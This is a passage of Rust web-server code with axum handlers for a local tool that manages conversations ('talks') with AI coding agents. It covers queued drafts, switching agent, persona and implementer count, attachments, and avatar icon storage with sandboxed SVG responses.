8977 #[cfg(not(test))]
8978 {
8979 let _ = (&cfg, &text);
8980 let result = crate::consult::spawn_recorded_turn(
8984 &talks, &id, talk.turns.len() - 1,
8985 ).await;
8986 drop(turn_guard);
8987 match result {
8988 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8989 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8990 }
8991 }
8992 #[cfg(test)]
8993 {
8994 let queued = talk.clone();
8995 let mut talk = talk;
8996 let thinking = ui.is_thinking(&id);
8997 let _ = tx.send(Ok((queued, thinking)));
9000
9001 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9002 tracing::warn!("talk {id} turn failed: {e:#}");
9006 }
9007 drain_loop(talk, talks, cfg, id, turn_guard).await;
9010 }
9011 }
9012 });
9013
9014 let (queued, thinking) = rx
9015 .await
9016 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9017
9018 Ok((
9020 StatusCode::ACCEPTED,
9021 Json(TalkView::new(queued, thinking, &ui)),
9022 ))
9023 }).await
9024}
9025
9026async fn talk_pending_resume(
9030 State(ui): State<Arc<Ui>>,
9031 Path(id): Path<String>,
9032) -> ApiResult<(StatusCode, Json<TalkView>)> {
9033 let admission = ui.begin_admission()?;
9034 admitted(admission, async move {
9035 let id = {
9036 let ui = Arc::clone(&ui);
9037 let asked = id.clone();
9038 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9039 };
9040 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9041 .await
9042 .map_err(ApiError::from)?;
9043 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9044 return Err(ApiError::conflict(
9045 "a talk turn is already running; the queued draft will be handled by it",
9046 ));
9047 };
9048 let (talk, cfg) = {
9049 let ui = Arc::clone(&ui);
9050 let id = id.clone();
9051 blocking(move || {
9052 let talk = ui.talks.get(&id)?;
9053 if !talk.status.open() {
9054 return Err(ApiError::conflict(format!(
9055 "talk {} is {} and takes no more turns",
9056 talk.short(),
9057 talk.status.as_str()
9058 )));
9059 }
9060 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9061 return Err(ApiError::conflict("there is no queued draft to resume"));
9062 }
9063 let (cfg, _) = Config::discover(&talk.repo, None)?;
9064 Ok((talk, cfg))
9065 })
9066 .await?
9067 };
9068 let view = TalkView::new(talk.clone(), true, &ui);
9069 let talks = ui.talks.clone();
9070 #[cfg(not(test))]
9071 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9072 #[cfg(test)]
9073 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9074 Ok((StatusCode::ACCEPTED, Json(view)))
9075 })
9076 .await
9077}
9078
9079#[cfg(not(test))]
9082async fn detach_talk_turn(
9083 _talk: Talk,
9084 talks: Talks,
9085 _cfg: Config,
9086 id: String,
9087 turn: TalkTurnGuard,
9088) -> ApiResult<()> {
9089 let launched = crate::consult::spawn_turn(&talks, &id).await;
9090 drop(turn);
9091 launched.map(|_| ()).map_err(ApiError::from)
9092}
9093
9094#[cfg(test)]
9095async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9096 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9097}
9098
9099async fn settle_settings_turn(
9103 talk: Talk,
9104 talks: Talks,
9105 cfg: Config,
9106 id: String,
9107 turn: TalkTurnGuard,
9108 observed: u64,
9109) -> bool {
9110 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9111 let turns = Arc::clone(&turn.turns);
9112 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9113 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9114 turn.release(&mut live);
9116 return false;
9117 }
9118 }
9119 let (started, settled) = tokio::sync::oneshot::channel();
9120 tokio::spawn(drain_loop_started(
9121 talk,
9122 talks,
9123 cfg,
9124 id,
9125 turn,
9126 Some(started),
9127 ));
9128 settled.await.unwrap_or(false)
9129}
9130
9131#[cfg(not(test))]
9132async fn drain_loop_started(
9133 talk: Talk,
9134 talks: Talks,
9135 _cfg: Config,
9136 id: String,
9137 turn: TalkTurnGuard,
9138 started: Option<tokio::sync::oneshot::Sender<bool>>,
9139) {
9140 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9141 let running = if pending {
9142 match crate::consult::spawn_turn(&talks, &id).await {
9143 Ok(_) => true,
9144 Err(error) => {
9145 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9146 false
9147 }
9148 }
9149 } else {
9150 false
9151 };
9152 drop(turn);
9153 if let Some(started) = started {
9154 let _ = started.send(running);
9155 }
9156}
9157
9158#[cfg(test)]
9161async fn drain_loop_started(
9162 mut talk: Talk,
9163 talks: Talks,
9164 cfg: Config,
9165 id: String,
9166 turn: TalkTurnGuard,
9167 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9168) {
9169 let live_set = Arc::clone(&turn.turns);
9170 let mut turn = Some(turn);
9178 loop {
9179 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9180 tracing::warn!("talk {id} lost its turn lease; not draining further");
9183 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9184 if let Some(turn) = turn.take() {
9185 turn.release(&mut live);
9186 }
9187 break;
9188 }
9189 let observed = live_set
9193 .lock()
9194 .unwrap_or_else(PoisonError::into_inner)
9195 .queued
9196 .get(&id)
9197 .copied()
9198 .unwrap_or(0);
9199 let drained = blocking({
9200 let talks = talks.clone();
9201 move || {
9202 let result = talk::drain(&mut talk, &talks);
9203 Ok((talk, result))
9204 }
9205 })
9206 .await;
9207 let (next_talk, result) = match drained {
9208 Ok(drained) => drained,
9209 Err(e) => {
9210 tracing::warn!(
9211 status = %e.status,
9212 message = %e.message,
9213 "talk {id} could not start queued-text drain"
9214 );
9215 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9216 turn.take()
9217 .expect("held for the whole loop until released here")
9218 .release(&mut live);
9219 break;
9220 }
9221 };
9222 talk = next_talk;
9223 let drained = match result {
9224 Ok(Some(drained)) => drained,
9225 Ok(None) => {
9226 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9227 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9228 continue;
9229 }
9230 turn.take()
9231 .expect("held for the whole loop until released here")
9232 .release(&mut live);
9233 break;
9234 }
9235 Err(e) => {
9236 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9237 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9238 turn.take()
9239 .expect("held for the whole loop until released here")
9240 .release(&mut live);
9241 break;
9242 }
9243 };
9244 if let Some(started) = started.take() {
9245 let _ = started.send(true);
9246 }
9247 let responded = match turn.as_ref() {
9248 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9249 None => Err(anyhow::anyhow!("the turn guard was released")),
9250 };
9251 if let Err(e) = responded {
9252 tracing::warn!("talk {id} turn failed: {e:#}");
9253 }
9254 }
9255 drop(turn);
9256 if let Some(started) = started {
9257 let _ = started.send(false);
9258 }
9259}
9260
9261async fn talk_pending_clear(
9263 State(ui): State<Arc<Ui>>,
9264 Path(id): Path<String>,
9265 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9266) -> ApiResult<Json<TalkView>> {
9267 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9268 blocking(move || {
9269 let id = resolve_talk(&ui.talks, &id)?;
9270 let mut talk = ui.talks.get(&id)?;
9271 if !talk.status.open() {
9272 return Err(ApiError::conflict(format!(
9273 "talk {} is {} and takes no more turns",
9274 talk.short(),
9275 talk.status.as_str()
9276 )));
9277 }
9278 if !talk::clear_pending_if_matches(
9279 &mut talk,
9280 &ui.talks,
9281 &body.expected_text,
9282 &body.expected_attachments,
9283 )? {
9284 return Err(ApiError::conflict(
9285 "queued message changed; reload it before clearing",
9286 ));
9287 }
9288 let thinking = ui.is_thinking(&talk.id);
9289 Ok(Json(TalkView::new(talk, thinking, &ui)))
9290 })
9291 .await
9292}
9293
9294async fn talk_pending_edit(
9298 State(ui): State<Arc<Ui>>,
9299 Path(id): Path<String>,
9300 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9301) -> ApiResult<Json<TalkView>> {
9302 let admission = ui.begin_admission()?;
9303 admitted(admission, async move {
9304 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9305 let id = {
9306 let ui = Arc::clone(&ui);
9307 blocking(move || resolve_talk(&ui.talks, &id)).await?
9308 };
9309 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9310 .await
9311 .map_err(ApiError::from)?;
9312 let (view, reclaimed) = blocking({
9313 let ui = Arc::clone(&ui);
9314 move || {
9315 let mut talk = ui.talks.get(&id)?;
9316 if !talk.status.open() {
9317 return Err(ApiError::conflict(format!(
9318 "talk {} is {} and takes no more turns",
9319 talk.short(),
9320 talk.status.as_str()
9321 )));
9322 }
9323 if !talk::edit_pending_message(
9324 &mut talk,
9325 &ui.talks,
9326 &body.text,
9327 &body.expected_text,
9328 &body.expected_attachments,
9329 body.message,
9330 )? {
9331 return Err(ApiError::conflict(
9332 "queued message changed; reload it before editing",
9333 ));
9334 }
9335 let claim = match ui.begin_queued_talk_turn(&id)? {
9336 Some(turn_guard) => {
9337 let (cfg, _) = Config::discover(&talk.repo, None)?;
9338 Some((talk.clone(), cfg, id.clone(), turn_guard))
9339 }
9340 None => None,
9341 };
9342 let thinking = ui.is_thinking(&id);
9343 Ok((TalkView::new(talk, thinking, &ui), claim))
9344 }
9345 })
9346 .await?;
9347 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9348 let talks = ui.talks.clone();
9349 #[cfg(not(test))]
9350 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9351 #[cfg(test)]
9352 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9353 }
9354 Ok(Json(view))
9355 })
9356 .await
9357}
9358
9359fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9361 if talk.status.open() {
9362 return Ok(());
9363 }
9364 Err(ApiError::conflict(format!(
9365 "talk {} is {} and takes no more turns",
9366 talk.short(),
9367 talk.status.as_str()
9368 )))
9369}
9370
9371#[derive(Debug, Deserialize)]
9373struct TalkAgent {
9374 agent: String,
9375}
9376
9377async fn talk_agent(
9382 State(ui): State<Arc<Ui>>,
9383 Path(id): Path<String>,
9384 Json(body): Json<TalkAgent>,
9385) -> ApiResult<Json<TalkView>> {
9386 let admission = ui.begin_admission()?;
9387 admitted(admission, async move {
9388 let id = {
9389 let ui = Arc::clone(&ui);
9390 blocking(move || resolve_talk(&ui.talks, &id)).await?
9391 };
9392 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9393 .await
9394 .map_err(ApiError::from)?;
9395 let repo = {
9396 let ui = Arc::clone(&ui);
9397 let id = id.clone();
9398 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9399 };
9400 let cfg = config_for(&repo).await?;
9401 {
9403 let ui = Arc::clone(&ui);
9404 let id = id.clone();
9405 let cfg = cfg.clone();
9406 let wanted = body.agent.clone();
9407 blocking(move || {
9408 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9409 .map_err(ApiError::bad_request_from)?;
9410 refuse_if_closed(&ui.talks.get(&id)?)
9411 })
9412 .await?;
9413 }
9414 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9415 return Err(ApiError::conflict(
9416 "a talk turn is running; change the agent once it has answered",
9417 ));
9418 };
9419 let switched = {
9420 let ui = Arc::clone(&ui);
9421 let id = id.clone();
9422 let cfg = cfg.clone();
9423 blocking(move || {
9424 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9425 .map_err(ApiError::bad_request_from)?;
9426 let mut talk = ui.talks.get(&id)?;
9427 if !talk.status.open() {
9428 return Err(ApiError::conflict(format!(
9429 "talk {} is {} and takes no more turns",
9430 talk.short(),
9431 talk.status.as_str()
9432 )));
9433 }
9434 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9435 Ok(talk)
9436 })
9437 .await
9438 };
9439 let observed = ui.queued_generation(&id);
9444 let fresh = {
9445 let ui = Arc::clone(&ui);
9446 let id = id.clone();
9447 blocking(move || Ok(ui.talks.get(&id)?)).await
9448 };
9449 let draining = match fresh {
9450 Ok(talk) => {
9451 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9452 }
9453 Err(_) => false,
9454 };
9455 let talk = switched?;
9456 Ok(Json(TalkView::new(talk, draining, &ui)))
9457 })
9458 .await
9459}
9460
9461#[derive(Debug, Deserialize)]
9463struct TalkPersona {
9464 persona: String,
9465}
9466
9467async fn talk_persona(
9471 State(ui): State<Arc<Ui>>,
9472 Path(id): Path<String>,
9473 Json(body): Json<TalkPersona>,
9474) -> ApiResult<Json<TalkView>> {
9475 let admission = ui.begin_admission()?;
9476 admitted(admission, async move {
9477 let id = {
9478 let ui = Arc::clone(&ui);
9479 blocking(move || resolve_talk(&ui.talks, &id)).await?
9480 };
9481 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9482 .await
9483 .map_err(ApiError::from)?;
9484 let repo = {
9485 let ui = Arc::clone(&ui);
9486 let id = id.clone();
9487 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9488 };
9489 let cfg = config_for(&repo).await?;
9490 {
9492 let ui = Arc::clone(&ui);
9493 let id = id.clone();
9494 let cfg = cfg.clone();
9495 let wanted = body.persona.clone();
9496 blocking(move || {
9497 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9498 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9499 }
9500 refuse_if_closed(&ui.talks.get(&id)?)
9501 })
9502 .await?;
9503 }
9504 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9505 return Err(ApiError::conflict(
9506 "a talk turn is running; change the persona once it has answered",
9507 ));
9508 };
9509 let switched = {
9510 let ui = Arc::clone(&ui);
9511 let id = id.clone();
9512 let cfg = cfg.clone();
9513 blocking(move || {
9514 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9515 return Err(ApiError::bad_request(format!(
9516 "unknown persona `{}`",
9517 body.persona
9518 )));
9519 };
9520 let mut talk = ui.talks.get(&id)?;
9521 if !talk.status.open() {
9522 return Err(ApiError::conflict(format!(
9523 "talk {} is {} and takes no more turns",
9524 talk.short(),
9525 talk.status.as_str()
9526 )));
9527 }
9528 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9529 Ok(talk)
9530 })
9531 .await
9532 };
9533 let observed = ui.queued_generation(&id);
9535 let fresh = {
9536 let ui = Arc::clone(&ui);
9537 let id = id.clone();
9538 blocking(move || Ok(ui.talks.get(&id)?)).await
9539 };
9540 let draining = match fresh {
9541 Ok(talk) => {
9542 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9543 }
9544 Err(_) => false,
9545 };
9546 let talk = switched?;
9547 Ok(Json(TalkView::new(talk, draining, &ui)))
9548 })
9549 .await
9550}
9551
9552#[derive(Debug, Deserialize)]
9554struct TalkImplementers {
9555 implementers: u8,
9556}
9557
9558async fn talk_implementers(
9562 State(ui): State<Arc<Ui>>,
9563 Path(id): Path<String>,
9564 Json(body): Json<TalkImplementers>,
9565) -> ApiResult<Json<TalkView>> {
9566 let admission = ui.begin_admission()?;
9567 admitted(admission, async move {
9568 let id = {
9569 let ui = Arc::clone(&ui);
9570 blocking(move || resolve_talk(&ui.talks, &id)).await?
9571 };
9572 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9573 .await
9574 .map_err(ApiError::from)?;
9575 let repo = {
9576 let ui = Arc::clone(&ui);
9577 let id = id.clone();
9578 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9579 };
9580 let cfg = config_for(&repo).await?;
9581 {
9586 let ui = Arc::clone(&ui);
9587 let id = id.clone();
9588 let cfg = cfg.clone();
9589 let wanted = body.implementers;
9590 blocking(move || {
9591 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9592 refuse_if_closed(&ui.talks.get(&id)?)
9593 })
9594 .await?;
9595 }
9596 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9597 return Err(ApiError::conflict(
9598 "a talk turn is running; change the implementers once it has answered",
9599 ));
9600 };
9601 let switched = {
9602 let ui = Arc::clone(&ui);
9603 let id = id.clone();
9604 let cfg = cfg.clone();
9605 blocking(move || {
9606 let chosen = talk::check_implementers(body.implementers, &cfg)
9607 .map_err(ApiError::bad_request)?;
9608 let mut talk = ui.talks.get(&id)?;
9609 if !talk.status.open() {
9610 return Err(ApiError::conflict(format!(
9611 "talk {} is {} and takes no more turns",
9612 talk.short(),
9613 talk.status.as_str()
9614 )));
9615 }
9616 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9617 Ok(talk)
9618 })
9619 .await
9620 };
9621 let observed = ui.queued_generation(&id);
9623 let fresh = {
9624 let ui = Arc::clone(&ui);
9625 let id = id.clone();
9626 blocking(move || Ok(ui.talks.get(&id)?)).await
9627 };
9628 let draining = match fresh {
9629 Ok(talk) => {
9630 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9631 }
9632 Err(_) => false,
9633 };
9634 let talk = switched?;
9635 Ok(Json(TalkView::new(talk, draining, &ui)))
9636 })
9637 .await
9638}
9639
9640async fn talk_close(
9642 State(ui): State<Arc<Ui>>,
9643 Path(id): Path<String>,
9644) -> ApiResult<Json<TalkView>> {
9645 blocking(move || {
9646 let id = resolve_talk(&ui.talks, &id)?;
9647 let mut talk = ui.talks.get(&id)?;
9648 talk::close(&mut talk, &ui.talks)?;
9649 let thinking = ui.is_thinking(&talk.id);
9650 Ok(Json(TalkView::new(talk, thinking, &ui)))
9651 })
9652 .await
9653}
9654
9655async fn talk_reopen(
9657 State(ui): State<Arc<Ui>>,
9658 Path(id): Path<String>,
9659) -> ApiResult<Json<TalkView>> {
9660 blocking(move || {
9661 let id = resolve_talk(&ui.talks, &id)?;
9662 let mut talk = ui.talks.get(&id)?;
9663 talk::reopen(&mut talk, &ui.talks)?;
9664 let thinking = ui.is_thinking(&talk.id);
9665 Ok(Json(TalkView::new(talk, thinking, &ui)))
9666 })
9667 .await
9668}
9669
9670async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9680 blocking(move || {
9681 let id = resolve_talk(&ui.talks, &id)?;
9682 ui.talks.remove(&id)?;
9683 Ok(StatusCode::NO_CONTENT)
9684 })
9685 .await
9686}
9687
9688fn talk_ids(root: &FsPath) -> Vec<String> {
9689 std::fs::read_dir(root)
9690 .into_iter()
9691 .flatten()
9692 .flatten()
9693 .filter_map(|e| {
9694 let path = e.path();
9695 if path.extension().is_some_and(|ext| ext == "json") {
9696 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9697 } else {
9698 None
9699 }
9700 })
9701 .collect()
9702}
9703
9704fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9706 if plain_record_id(id) && store.path_of(id).is_file() {
9707 return Ok(id.to_owned());
9708 }
9709 pick(talk_ids(store.root()), id, "talk")
9710}
9711
9712async fn talk_attachment_post(
9715 State(ui): State<Arc<Ui>>,
9716 Path(id): Path<String>,
9717 headers: HeaderMap,
9718 body: Bytes,
9719) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9720 let mime = validate_attachment(&headers, &body)?;
9721 let name = filename_header(&headers);
9722 let data = body.to_vec();
9723 blocking(move || {
9724 let id = resolve_talk(&ui.talks, &id)?;
9725 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9726 Ok((StatusCode::CREATED, Json(att)))
9727 })
9728 .await
9729}
9730
9731async fn talk_attachment_get(
9734 State(ui): State<Arc<Ui>>,
9735 Path((id, att)): Path<(String, String)>,
9736) -> ApiResult<Response> {
9737 blocking(move || {
9738 let id = resolve_talk(&ui.talks, &id)?;
9739 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9740 return Err(ApiError::not_found(format!(
9741 "talk {id} has no attachment `{att}`"
9742 )));
9743 };
9744 Ok(attachment_response(&meta.mime, data))
9745 })
9746 .await
9747}
9748
9749fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9752 let id = avatar_encode(&p.id);
9753 format!(
9754 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9755 persona_icon::fingerprint(
9756 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9757 )
9758 )
9759}
9760
9761#[derive(Debug, Default, Deserialize)]
9762struct AvatarQuery {
9763 persona: Option<String>,
9764 builtin: Option<String>,
9766}
9767
9768const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9770
9771fn builtin_avatar(id: &str) -> Response {
9772 svg_avatar(persona_icon::builtin_svg(id))
9773}
9774
9775async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9776 raster_or_builtin(
9777 read_icon_file(&avatar_setting_path(&ui.home, None))
9778 .filter(|_| q.builtin.is_none())
9779 .as_deref(),
9780 persona_icon::operator_svg(),
9781 )
9782}
9783
9784fn svg_avatar(svg: &'static str) -> Response {
9785 (
9786 [
9787 (header::CONTENT_TYPE, "image/svg+xml"),
9788 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9789 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9790 (header::CACHE_CONTROL, "no-cache"),
9791 ],
9792 svg,
9793 )
9794 .into_response()
9795}
9796
9797fn avatar_encode(value: &str) -> String {
9798 value
9799 .bytes()
9800 .map(|b| {
9801 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9802 char::from(b).to_string()
9803 } else {
9804 format!("%{b:02X}")
9805 }
9806 })
9807 .collect()
9808}
9809
9810fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9812 let Some(id) = persona else {
9813 return home.join("avatars/operator.data");
9814 };
9815 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9816 let mut path = home.join("avatars/personas");
9817 for chunk in encoded.as_bytes().chunks(100) {
9818 path.push(std::str::from_utf8(chunk).expect("hex"));
9819 }
9820 path.join("icon.data")
9821}
9822
9823fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9824 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9825 Some(value) if value == "builtin" => Some(String::new()),
9826 Some(value) => Some(value),
9827 None => configured.map(str::to_owned),
9828 }
9829}
9830
9831fn operator_icon_url(home: &FsPath) -> String {
9832 format!(
9833 "/avatars/operator.svg?v={}",
9834 persona_icon::fingerprint(
9835 read_icon_file(&avatar_setting_path(home, None))
9836 .as_deref()
9837 .or(Some(persona_icon::operator_svg()))
9838 )
9839 )
9840}
9841
9842fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9843 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9844 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9845 attachment_response(mime, bytes)
9846 }
9847 _ => svg_avatar(builtin),
9848 };
9849 response
9850 .headers_mut()
9851 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9852 response
9853}
9854
9855#[derive(Default, Deserialize)]
9856struct AvatarSettingsQuery {
9857 repo: Option<PathBuf>,
9858 persona: Option<String>,
9859 builtin: Option<String>,
9860 inherit: Option<String>,
9861}
9862
9863fn avatar_settings_specs(
9864 ui: &Ui,
9865 repo: Option<PathBuf>,
9866) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9867 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9868 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9869 .map(|cfg| cfg.talk.personas)
9870 .unwrap_or_default();
9871 Ok((repo, specs))
9872}
9873
9874fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9875 let Ok(entries) = std::fs::read_dir(path) else {
9876 return;
9877 };
9878 for entry in entries.flatten() {
9879 let name = entry.file_name().to_string_lossy().into_owned();
9880 if name == "icon.data" {
9881 let bytes: Option<Vec<u8>> = prefix
9882 .as_bytes()
9883 .chunks(2)
9884 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9885 .collect();
9886 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9887 out.push(id);
9888 }
9889 } else if name.len() <= 100
9890 && !name.is_empty()
9891 && name.bytes().all(|b| b.is_ascii_hexdigit())
9892 && entry.file_type().is_ok_and(|t| t.is_dir())
9893 {
9894 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9895 }
9896 }
9897}
9898
9899async fn avatar_settings_get(
9900 State(ui): State<Arc<Ui>>,
9901 Query(q): Query<AvatarSettingsQuery>,
9902) -> ApiResult<Json<serde_json::Value>> {
9903 blocking(move || {
9904 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9905 let mut catalog = persona::catalog(&specs);
9906 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9907 let mut saved = Vec::new();
9908 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9909 for id in saved {
9910 if !catalog.iter().any(|p| p.id == id) {
9911 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9912 }
9913 }
9914 let personas: Vec<_> = catalog.iter().map(|p| {
9915 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9916 let override_state = match saved.as_deref() {
9917 Some("builtin") => "builtin",
9918 Some(_) => "custom",
9919 None => "inherit",
9920 };
9921 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9922 serde_json::json!({"id":p.id,"name":p.name,
9923 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9924 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9925 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9926 }).collect();
9927 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9928 }).await
9929}
9930
9931async fn settings_persona_avatar(
9932 State(ui): State<Arc<Ui>>,
9933 Query(q): Query<AvatarSettingsQuery>,
9934) -> ApiResult<Response> {
9935 blocking(move || {
9936 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9937 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9938 let found = persona::find(&specs, id);
9939 let icon =
9940 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9941 Ok(raster_or_builtin(
9942 icon.as_deref().filter(|_| q.builtin.is_none()),
9943 persona_icon::builtin_svg(id),
9944 ))
9945 })
9946 .await
9947}
9948
9949fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9950 if q.persona
9951 .as_ref()
9952 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9953 {
9954 return Err(ApiError::bad_request("invalid persona id"));
9955 }
9956 Ok(())
9957}
9958
9959async fn avatar_settings_put(
9960 State(ui): State<Arc<Ui>>,
9961 Query(q): Query<AvatarSettingsQuery>,
9962 Json(upload): Json<MagiIconUpload>,
9963) -> ApiResult<Json<serde_json::Value>> {
9964 blocking(move || {
9965 validate_avatar_target(&q)?;
9966 save_icon_file(
9967 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9968 &upload.icon,
9969 )
9970 .map_err(ApiError::bad_request_from)?;
9971 Ok(Json(serde_json::json!({"saved":true})))
9972 })
9973 .await
9974}
9975
9976async fn avatar_settings_delete(
9977 State(ui): State<Arc<Ui>>,
9978 Query(q): Query<AvatarSettingsQuery>,
9979) -> ApiResult<Json<serde_json::Value>> {
9980 blocking(move || {
9981 validate_avatar_target(&q)?;
9982 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9983 if q.persona.is_some() && q.inherit.is_none() {
9984 atomic_icon_write(&path, "builtin")?;
9985 } else {
9986 match std::fs::remove_file(path) {
9987 Ok(()) => (),
9988 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9989 Err(e) => return Err(anyhow::Error::from(e).into()),
9990 }
9991 }
9992 Ok(Json(serde_json::json!({"saved":true})))
9993 })
9994 .await
9995}
9996
9997fn magi_icon_path(home: &FsPath) -> PathBuf {
9999 home.join("magi-icon.data")
10000}
10001
10002fn read_magi_icon(home: &FsPath) -> Option<String> {
10003 read_icon_file(&magi_icon_path(home))
10004}
10005
10006fn read_icon_file(path: &FsPath) -> Option<String> {
10007 let metadata = std::fs::metadata(path).ok()?;
10008 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10009 return None;
10010 }
10011 let file = std::fs::File::open(path).ok()?;
10012 use std::io::Read;
10013 let mut text = String::new();
10014 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10015 .read_to_string(&mut text)
10016 .ok()?;
10017 if text.len() > persona_icon::ICON_MAX_BYTES {
10018 return None;
10019 }
10020 if text == "builtin" {
10021 return Some(text);
10022 }
10023 validate_uploaded_icon(&text).ok()?;
10024 Some(text)
10025}
10026
10027fn magi_icon_url(home: &FsPath) -> String {
10028 format!(
10029 "/avatars/magi?v={}",
10030 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10031 )
10032}
10033
10034async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10035 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10036}
10037
10038#[derive(Deserialize)]
10039struct MagiIconUpload {
10040 icon: String,
10041}
10042
10043fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
